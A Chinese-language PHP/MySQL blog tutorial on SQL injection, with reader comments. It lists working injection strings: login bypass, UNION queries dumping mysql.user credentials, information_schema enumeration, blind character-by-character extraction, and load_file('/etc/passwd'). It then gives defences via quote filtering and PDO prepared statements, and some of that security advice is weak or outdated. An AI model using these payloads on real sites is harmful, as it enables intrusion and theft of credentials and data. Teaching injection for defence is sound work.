2011
Feb
03

Sql Injection 應該可以說是目前網路上,駭客最常用的攻擊方式,因為攻擊方式簡單,又不需要使用任何軟體,或是自行撰寫程式。講到 SQL,就要提到資料庫,大多數的網站都會安裝資料庫伺服器(Database),其實 Database 並不是什麼可怕的東西,Database 的功能就是將資料依序儲存下來,然後以最快的速度,找出你想要的資料,而在尋找資料之前,你必須輸入 Database 指令,你輸入的這串指令,我們就稱為 SQL 語法。

Sql Injection 就是指 SQL 語法上的漏洞,藉由特殊字元,改變語法上的邏輯,駭客就能取得資料庫的所有內容,當然也包含了會員的帳號,密碼,下面就舉一個SQL登入漏洞:

一個有會員登入功能的網站,都會需要輸入帳號與密碼來進行驗證

而後端程式,如 PHP 就必需支援相關的登入檢查,判定 User 輸入的帳號、密碼是否正確,來確定登入是否成功 ,PHP 執行的 SQL 語法如下,這是一個簡單的 SQL 語法,主要功能是從 members 這個資料表中,取出符合 User 所輸入帳號與密碼的會員資料。

select * from members where account='$name' and password='$password'

但若是駭客輸入有特殊字元的帳號:「 ' or 1=1 /* 」,密碼:「任意值」

這時SQL語法就會變成:

select * from members where account='' or 1=1 /*' and password=''

因為「/*」在 MySQL 語法中代表註解的意思,所以「/*」後面的字串通通沒有執行,而這句判斷式「1=1」永遠成立,駭客就能登入此網站成功。

SQL 語法的註解

SQL 註解的語法有以下三種,不同的 SQL 版本,會吃不同的語法。

  • /*」 MySQL
  • --」 MsSQL
  • #」 MySQL , # 對於 browser 來說是有意義的,那是錨點的意思,所有必須先透過 Url Encode 後的代碼 「%23」 來代替。

防護方式

Sql Injection攻擊很簡單,不過防護也不難,只要過瀘字串「'」,即可,當然如果你的SQL語法寫得很糟,保險的做法是過瀘「' " 」等字串,並檢查變數型態「數字、字元、字串」,另外會員的密碼最好是經過加密,如 md5 或 Double md5 演算法加密,這樣就能避免資料外洩時,密碼也同時外洩,還有要特別注意,md5 目前已經有破解方式,改用 mcrypt 會是更好的加密方式。

PHP 過瀘 SQL Injection 的語法:

$name = preg_replace("/[\'\"]+/" , '' ,$name);
另一種過瀘方式
  1. $str = "'\"";
  2. $replace = array("'" => "& #39;", "\"" => "& quot;"); //請自已把 & # , & q 中間的空白移除
  3. $str = strtr($str, $replace);

Sql Injection的攻擊方式會因不同的資料庫而有不同的語法, 如 MsSQL的註解是用 「--」MySQL的另一個註解是用 「#」。

SQL Injection 攻擊

取得 Table name

如果網站連接 database 使用的帳號,有權限讀取 INFORMATION_SCHEMA database,這樣就能直接搜尋任何一個 table 名稱,如

  • [Oracle]: or EXISTS(SELECT 1 FROM dual WHERE database() LIKE '%xxx%') AND ''='
  • [MySQL]: or EXISTS(SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA like '%xxxx%') AND ''='
  • union select%20host,user,password fROM mysql.user limit 1,1#
  • union select engine, table_rows, table_name from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA not in ('information_schema') limit 1,1#
  • union select host,db,user from mysql.db limit 1,1 #

取得所有資料庫名稱

  • sqlInjection.php?id=1' union select distinct table_schema from information_schema.tables;
  • sqlInjection.php?id=1' union select group_concat(table_schema) from information_schema.tables;

取得所有資料表名稱

  • sqlInjection.php?id=1' union select group_concat(table_name) from information_schema.tables--

一般來說,information_schema 這個資料庫是沒有權限讀取的,尤其是市面上常見的虛擬主機,大部分的虛擬主機只能使用伺服器給的控制台來新增資料庫,沒辦法透過程式讀取所有的資料庫,這時駭客們會開始用猜的方式,來取得資料表的名稱,例如會員資料常會使用的 table 名稱為 users , members 等等。

猜測 table name 的 SQL Injection 如下,使用 or exists(select 1 from members);

  • sqlInjection.php?id=1' or exists(select 1 from members)/*
  • sqlInjection.php?id=1' or exists(select 1 from admin)%23
  • sqlInjection.php?id=1' or exists(select 1 from products)--

暴力猜測 Table Name

資料表的名稱不一定都是英文單字,有些工程師會使用怪怪的命名,這時駭客還是可以使用暴力破解的方式,將 Table Name 拼出來。

SQL 有個 function : substring ,這個功能可以對字串做切割,駭客可以先將「字串」切割成一個字元。

接著使用 ord 將字元轉成 Ascii Code ,然後去比對他的 Ascii Code 是否 = 32~ 127 , a = 97, b = 98

看一個範例,我要比對 information_schema.tables 第一筆資料的第一個 table_name ,其中的第一個字元。
  • id=1' and 97=(select ord(substring(table_name, 1,1) from information_schema.tables limit 0,1)--
  • id=1' and 98=(select ord(substring(table_name, 1,1) from information_schema.tables limit 0,1)--
  • id=1' and 99=(select ord(substring(table_name, 1,1) from information_schema.tables limit 0,1)--


再看一個範例,我要比對 information_schema.tables 第一筆資料的第一個 table_name ,其中的第二個字元。
  • id=1' and 97=(select ord(substring(table_name, 2,1) from information_schema.tables limit 0,1)--
  • id=1' and 98=(select ord(substring(table_name, 2,1) from information_schema.tables limit 0,1)--
  • id=1' and 99=(select ord(substring(table_name, 2,1) from information_schema.tables limit 0,1)--

取得 MySQL 資料庫相關訊息

取得連線帳號 user()

  • sqlInjection.php?id=1' select 1,2,user()/*

取得 Mysql 版本 version()

  • sqlInjection.php?id=1' select 1,2,version()/*

讀取系統檔案內容

透過 mysql 的 method 「load_file」,駭客就能輕易取得網站的檔案內容。

  • union select 1,2,load_file('/etc/passwd')

使用 PDO 防止 SQL Injection

http://us3.php.net/manual/en/book.pdo.php

PDO 是一個可以 query 資料庫的程式,我們能夠透過 PDO 連到 Mysql server,重要的是 PDO 有提供 SQL Injection 的防護機制,使用 bindValue 的方式,PDO 會自動檢查數據格式,並轉換特殊字元,再將 User Input 填入 SQL 語法中。

PDO 使用方式
  1. $db = new PDO ("mysql:dbname=test;host=localhost;port=3306", 'username', 'password', array( PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES \'UTF8\''));
  2.  
  3. $sth = $db->prepare('select * from table where id =:id and title= :title ');
  4.  
  5. $sth->bindValue(':id', $_GET['id'], PDO::PARAM_INT);
  6.  
  7. $sth->bindValue(':title', $_GET['title'], PDO::PARAM_STR);
  8.  
  9. $sth->execute();
  10. $sth->fetch(PDO::FETCH_ASSOC);
  • PDO::PARAM_INT 數字
  • PDO::PARAM_STR 字串

相關教學下載


目前回應 Comments(15 comments)

  • 狼圖騰 2016/11/29

    回覆你的留言

    我覺得兩個都可以做 (跳脫函式或bind + NCR)

    即使 NCR 那邊達到跳脫的效果,至少有幾點是比較好的:

    1. 你有照文件的規格去寫。就像你開發的東西也希望別人照你的方式去寫一樣。
    2. NCR 與此函式並不衝突。

    -----------------------------
    文件那邊的
    $name = preg_replace("/['"]+/" , '' ,$name);
    其實也最好改用 mb_ereg_replace...
    UTF-8 其實是不會出事, big5 專案怕的是中文字含有單引號或雙引號的 ascii 碼就這樣被拆掉了

    Reply

    Admin

    感謝提醒,我比較少考慮 Big5 的問題,因為我一接觸程式沒多久,UTF-8 就已經出現了,為了處理許功蓋先生留下的問題,我開發的程式,都已經全面使用 UTF-8 ,目前傾向開發人員不要再使用 Big5 編碼的文件/資料庫,最好是都改用 UTF-8 ,這樣可以減少很多編碼的問題。

  • 狼圖騰 2016/09/21

    不管是不是 PDO, PHP 資料庫都有提供一個函式提供跳脫
    一定要呼叫那個函式 (例如使用 mysql_connect 的相關函式就是 mysql_real_escape_string, PDO 的話就是本文寫的 bindParam 或是 $dbh->quote 函式)
    其實有二個很重要的理由如下

    1. 跳脫規則會隨著資料庫類型改變
    MySQL 使用 ' 跳脫,其它資料庫使用 '' 跳脫。使用相關函式會幫你改變相對應規則。

    2. PHP 的字元類型實際上是 bytes 類型,資料庫字元類型實際上是真的字元類型

    試試下面的程式碼 (此例子為 big5 或是 gbk 編碼環境,不適用於 UTF-8)

    header('Content-Type: text/plain; charset=big5');
    echo addslashes("xbfx27"); // 企圖將所有 單引號、雙引號、反斜述 前面加上反斜線以跳脫問題
    // 結果會印出 璞'

    問題在於 PHP 的字元型態是 bytes, 對於 xbfx27 會把它當成兩個字看。然後跳脫完成變成 xbfx5cx27
    送進資料庫時,xbfx5c 為一個字元 (因為 big5 或是 gbk 編碼),不會把後面的 x5c (反斜線) 當成脫跳字元看待。然後後面的 x27 ('單引號) 就很神奇的發揮作用了
    --------------------------------------

    可能還有其它的問題,我想表達的是,
    資料庫函式一定有提供一個函式來解決注入問題。

    請各位不要自己自作聰明開發相對應方法,
    確實看清楚資料庫文件手冊並確實地呼叫這些對應函數。
    (如果你有用 PHP Framework 的話一樣要看清楚相對應手冊)

    Reply

    Admin

    官方提供的方式也不一定安全,有些狀況,官方會認為開發人員自已也要懂 Security ,工程師自已製造的洞,官方也不會理你的 ,像跳脫字元,我個人就覺得是一個很不安全的處理方式,如果你存了一個 (跳脫字元+雙引號) 進資料庫,那麼你再用 SQL Query 從資料庫拿出來,最後你拿到的資料到底是什麼?,還有你後續對這筆資料的處理也要非常小心,因為他存在 " 雙引號,這些都增加了軟體工程師的負擔,每寫一行 code ,都要思考各種極端狀況。

     

    我的文章會提到 NCR ,直接把 " ' 轉成 &#xxx; 這種 NCR 格式,就是不希望後端工程師在做資料處理的時候,還會遇到單/雙引號的問題,而 NCR 在網頁上的顯示會是正常的單/雙引號,所以並不會影響到用戶,這招算是比較爆力的解法,當然直接轉 NCR 這個方法是有些限制的,例如你要確認後端的資料搜尋是否需要支援單/雙引號  ( ' 會影響到搜尋 39 這個數字的結果)。 

  • 2016/02/15

    更正~

    原資料庫的設定為 latin1, 要把資料全數轉到 utf8 的資料庫

    Reply

    Admin

    資料庫設定 latin1 ,不代表你存進去的文字編碼就是 latin1 ,有可能你存進去的文字其實是 Big5 編碼。

     

    可以先用 mysqldump  把資料表內容存在一個檔案裡:

    例如:  mysqldump -hlocalhost -uroot --add-drop-database --database test --table book --default-character-set=latin1 -p > tmp 

    再來編輯 tmp 檔案,將所有的 CHARSET=latin1 改成 CHARSET=utf8

     

    接著你要先檢查你存進資料庫的中文字到底是 Big5 還是 UTF8 編碼,確定編碼方式後,才能執行下面的編碼轉換:

    如果你的中文是用 Big5 存進 latin1 資料庫,那麼你要用指令  iconv -f big5 -t utf8 tmp > new.sql  來轉換文字編碼,我猜你的資料庫應該會是這一種。

     
     
    轉換完成後, new.sql 這個檔案就會是 UTF8 編碼的 SQL 語法 ,重新匯入資料庫即可,

    mysql -hlocalhost -uroot --default-character-set=utf8 "test" -p < new.sql 
     
     
     
    另外  PHP Query MySql 前,都要先設定 UTF8 編碼: query("SET NAMES utf8");   。
     
     
     

  • 2016/02/15

    不好意思, 在這問其他類型問題, 還請高人指點!!
    請問, 要如何將原編碼為 big5的資料庫轉到另一編碼為 utf8的資料庫?

  • 2016/01/03

    請問~
    使用此方法是否會讓頁面跑的比較慢?
    另外, 是否需要將如 $query = $db->prepare(""); 的 $query 關閉?
    還有, 是否也需要在結尾也將開啟的資料庫也關閉, 如設定 $query = null;

    Reply

    Admin

    1. 頁面跑的慢不慢跟 SQL 語法寫得好不好比較有關系, PDO 不會影響太多效能。
     

    這篇文章有 PDO 效能測試的數據

    http://archive.jnrbsn.com/2010/06/mysqli-vs-pdo-benchmarks

     

    2. 一般的用法 PDO 是要關閉,用 $dbh = null ,但是如果使用 persistent connections 就可以不用關閉。

    $dbh = new PDO('mysql:host=localhost;dbname=test'$user$pass, array(
        
    PDO::ATTR_PERSISTENT => true
    ));

  • 2015/12/25

    上次的問題解決了, 謝謝@@

    又來請教了!!

    $num_float = "2.5";

    其中要存入的資料是浮動變數, 那 PDO::PARAM_INT 是否正確?

    $updods->bindParam(1, $num_float, PDO::PARAM_INT);

    Reply

    Admin

    PDO 沒有支援浮點數的處理,所以要用這種寫法:
     
    $num_float = strval($num_float);
     
    $updods->bindParam(1, $num_float, PDO::PARAM_STR);
     
     

  • 2015/12/22

    不好意思, 又來打擾了!!

    在網路上有看到要讀取資料的筆數寫法如下:

    $sth=$db->prepare("select count(*) from product where id=2");
    $sth->execute();
    $rowCount=$sth->fetchColumn();

    但依此法試了, 仍無法讀取筆數???

    Reply

    Admin

    這只是單純的 SQL 語法,語法本身看起來沒問題,程式的部分我有幫你測試過,也是正常的。

    如果 id = 2 有一筆資料,那麼 $rowCount 會得到 1 

     

    不過你是不是要用這個 SQL 語法   select count(*) from product  ,才能拿到整個 table  的筆數。

     

  • 菲希雅 2015/12/15

    請問~

    $query = $db->prepare("select title,con from table where title like ?");

    當中有使用 like , 值要怎麼帶入?

    Reply

    Admin

    第一個 ? 代表 index 1 , 第二個 ? 代表 index 2, bindValue 的時候使用數字  1, 2, 3, 4 即可

     

    範例如下:

    $query = $db->prepare("select title,con from table where title like ?");

    $query->bindValue(1, '%xxxxx%', PDO::PARAM_STR);

     

  • 2015/11/26

    再請問, 有在網路上看到寫 "PHP 5.1以後才可以用PDO", 那我們的版本是 4, 不就不能使用了?

    Reply

    Admin

    網路上可以查到 PHP 4 用的 PDO 版本

    例如 : http://www.phpclasses.org/package/2572-PHP-PDO-database-abstraction-interface-for-PHP-4.html

  • 2015/11/26

    但如果php的版本是4, 直接用 intval() 或 addslashes() 囉?

    Reply

    Admin

    建議用這種方式,直接把單引號、雙引號轉成 numeric character reference (NCR) ,

     

    $str = "'"";

    $replace = array("'" => "&#39;", """ => "&quot;");

    $str = strtr($str, $replace);

     

    或是用文章中提到的 PDO Library http://php.net/manual/en/book.pdo.php 

  • charles 2014/06/25

    目前所知許多網站相關的SQL注入弱點都已經防堵了,請問一下你有相關的免費測試軟體(SQL注入)
    或網站資源可提供測試嗎?

    Reply

    Admin

  • charles 2014/06/03

    請問一下,aspx SQL Injection 的手法如何? 可提供相關的經驗並且介紹一下嗎?謝謝!!

    Reply

    Admin

    Database 有很多種,一種是  Mysql 常搭配 apache 一起使用,還有一種是 Mssql 常搭配  IIS , asp 一起使用,我想你問的是 Mssql 的 SQL Injection 吧? 

    其實這兩個  Database ,攻擊方式大同小異,我並沒有特別為 Mssql 去做深入研究。

  • Volar 2014/02/22

    學習了!!!

  • George 2013/11/07

    我之前學習相關課程時,就在一些知名網站試過類似的SQL Injection,有個大網站還真的被入侵成功了,我寄e-mail去通知他們,結果他們竟然沒有理會= =+,一直到現在還是一樣~這些人對資安的觀念實在是無言...

    Reply

    Admin

    不要怪他們!! 台灣在這方面還蠻落後的, 我也曾經年少不懂事過,寫過很多有漏洞的程式,這幾篇文章,是希望大家對於網頁安全性方面能夠有所提升。

  • 版大你好 2013/11/06

    版大對於SQL注入 整理的不錯
    不過 可否請問一下 如何知道 上面輸入的指令碼
    交給資料庫時 又是如何解釋? (我非常想要知道)
    可以自己安裝資料庫,自己測試嗎?
    我想每個資料庫 對於指令碼的解釋 應該會不同
    還有最後一點 我也想要知道 SQL注入是否可以完全過濾掉?

    Reply

    Admin

    1. 安裝資料庫並不難,在 windows 下,你可以安裝 xampp + phpmyadmin,就可以透過 Browser 去操作 SQL 語法。


    2. SQL Injection 是否可以完全過瀘的問題,我建議你可以使用 PDO Library ,並按照 PDO bindValue 的方式,組合出正確的 SQL 語法,當然我只能跟你說,
    這個方式有 99.99% 是安全的,留下 0.01 % 是因為這世界上的頂極駭客是我無法想像的。

回應 (Leave a comment)